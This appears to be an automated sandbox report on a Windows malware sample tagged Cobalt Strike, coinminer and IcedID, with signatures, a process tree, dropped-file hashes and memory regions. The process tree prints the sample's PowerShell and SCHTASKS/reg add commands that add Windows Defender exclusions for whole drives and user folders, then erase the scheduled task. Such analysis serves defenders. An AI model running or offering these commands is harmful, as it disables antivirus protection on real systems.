Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/09/2026, 22:36

General

  • Target
    2026-09-23_812fed462842752ac7292cd6c1a5cb50_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
  • Size 38.6MB
  • Sample260923-2jls8afa39
  • SHA256 28111a7545457688da8b5777c79e8439a8be1c7e436e0d3640e9f200a7f95cd8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-23_812fed462842752ac7292cd6c1a5cb50_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-23_812fed462842752ac7292cd6c1a5cb50_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2032
  • C:\Users\Public\u4R8zM\NjD6g5.exe
    "C:\Users\Public\u4R8zM\NjD6g5.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2836
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2540
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\u4R8zM\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1516
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\u4R8zM\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3712
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3096
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2684
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4504
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5448
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1804
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4288
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:3236
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5328
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1968
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4160
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:2440
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5092
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1884
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2576
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:4880
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5996
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4144
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2996
                      • C:\Users\Public\u4R8zM\NjD6g5.exe
                        "C:\Users\Public\u4R8zM\NjD6g5.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2968
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\u4R8zM" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:3580
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\u4R8zM" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:4900
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:6040
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:2820
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:1116
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:4800
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:2192

                              Network

                                    MITRE ATT&CK Enterprise v16

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                                    Downloads

                                    0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                    • Size 1KB
                                    • SHA256 315aaa72a9a40a63518318f9c732eef6b53d854af122705bac10e82b5962d894
                                    • MD5 SHA1 SHA512 TLSH

                                    B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                    • Size 1KB
                                    • SHA256 9023a713e0d4537fd0764ccaa85de28ccf5ddd8b209d306bfd32b69bf805b0c6
                                    • MD5 SHA1 SHA512 TLSH

                                    0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                    • Size 512B
                                    • SHA256 61ae35de667c593e627924102e7aa654007c46eeee798e810c63cfd519fb7ce5
                                    • MD5 SHA1 SHA512 TLSH

                                    B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                    • Size 506B
                                    • SHA256 da54e9826d1a0841b4b8e8a52e409e87bc332de42e424a378ed4eb1c6b0eb84b
                                    • MD5 SHA1 SHA512 TLSH

                                    NjD6g5.exe

                                    • Path C:\Users\Public\u4R8zM\NjD6g5.exe
                                    • Size 135KB
                                    • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    UxEnhance64.dll

                                    • Path C:\Users\Public\u4R8zM\UxEnhance64.dll
                                    • Size 3.1MB
                                    • SHA256 31c3c01b4aaec65fa047cac98222166075b326818d3467f325fe8f85c0c955c2
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    adoresd.dat

                                    • Path C:\Users\Public\u4R8zM\adoresd.dat
                                    • Size 4.7MB
                                    • SHA256 248e59c96eea9e6287af4b53446d7af241419edd9bd76630987825507b19c126
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    msadox.tb

                                    • Path C:\Users\Public\u4R8zM\msadox.tb
                                    • Size 8KB
                                    • SHA256 31712ddcc55dcf79527f187024a3a272001e2a37a30131a04f4ea3f1085661bf
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    memory/2032-525-0x00007FF834920000-0x00007FF834932000-memory.dmp

                                    memory/2032-524-0x00000000008B0000-0x00000000008BE000-memory.dmp

                                    memory/2032-0-0x00000000008B0000-0x00000000008BE000-memory.dmp

                                    memory/2032-504-0x00007FF834920000-0x00007FF834932000-memory.dmp

                                    memory/2032-2-0x00000000008E0000-0x00000000008EC000-memory.dmp

                                    memory/2032-1-0x00000000008B0000-0x00000000008BE000-memory.dmp

                                    memory/2540-606-0x000001F9D5F90000-0x000001F9D5F9A000-memory.dmp

                                    memory/2540-599-0x000001F9D5D50000-0x000001F9D5D72000-memory.dmp

                                    memory/2540-602-0x000001F9D5FA0000-0x000001F9D5FBE000-memory.dmp

                                    memory/2540-603-0x000001F9D5FC0000-0x000001F9D6072000-memory.dmp

                                    memory/2836-560-0x00000216F5DB0000-0x00000216F5E3A000-memory.dmp

                                    memory/2836-543-0x00000216F67D0000-0x00000216F7057000-memory.dmp

                                    memory/2836-561-0x00000216F5DB0000-0x00000216F5E3A000-memory.dmp

                                    memory/2836-556-0x00000216F5D40000-0x00000216F5D8E000-memory.dmp

                                    memory/2836-546-0x00000216F67D0000-0x00000216F7057000-memory.dmp

                                    memory/2836-559-0x00000216F5DB0000-0x00000216F5E3A000-memory.dmp

                                    memory/2836-558-0x00000216F5DB0000-0x00000216F5E3A000-memory.dmp

                                    memory/2836-563-0x00000216F67D0000-0x00000216F7057000-memory.dmp

                                    memory/2836-565-0x00000216F67D0000-0x00000216F7057000-memory.dmp

                                    memory/2836-530-0x00007FF844350000-0x00007FF844352000-memory.dmp

                                    memory/2836-605-0x00000216F67D0000-0x00000216F7057000-memory.dmp

                                    memory/2836-545-0x00000216F67D0000-0x00000216F7057000-memory.dmp

                                    memory/2836-544-0x00000216F67D0000-0x00000216F7057000-memory.dmp

                                    memory/2836-550-0x00000216F67D0000-0x00000216F7057000-memory.dmp

                                    memory/2836-538-0x00007FF844360000-0x00007FF844362000-memory.dmp

                                    memory/2836-531-0x00007FF8212A0000-0x00007FF8217BE000-memory.dmp

                                    memory/2836-536-0x00000216F67D0000-0x00000216F7057000-memory.dmp

                                    memory/2836-539-0x00000216F67D0000-0x00000216F7057000-memory.dmp

                                    memory/2968-591-0x00007FF844350000-0x00007FF844352000-memory.dmp

                                    memory/2968-589-0x0000020B9E880000-0x0000020B9F107000-memory.dmp

                                    memory/2968-590-0x0000020B9E880000-0x0000020B9F107000-memory.dmp

                                    memory/2968-587-0x0000020B9E880000-0x0000020B9F107000-memory.dmp

                                    memory/2968-588-0x0000020B9E880000-0x0000020B9F107000-memory.dmp

                                    memory/2968-583-0x0000020B9E880000-0x0000020B9F107000-memory.dmp

                                    memory/2968-582-0x00007FF844360000-0x00007FF844362000-memory.dmp

                                    memory/2968-575-0x0000020B9E880000-0x0000020B9F107000-memory.dmp

                                    memory/2968-572-0x00007FF8212A0000-0x00007FF8217BE000-memory.dmp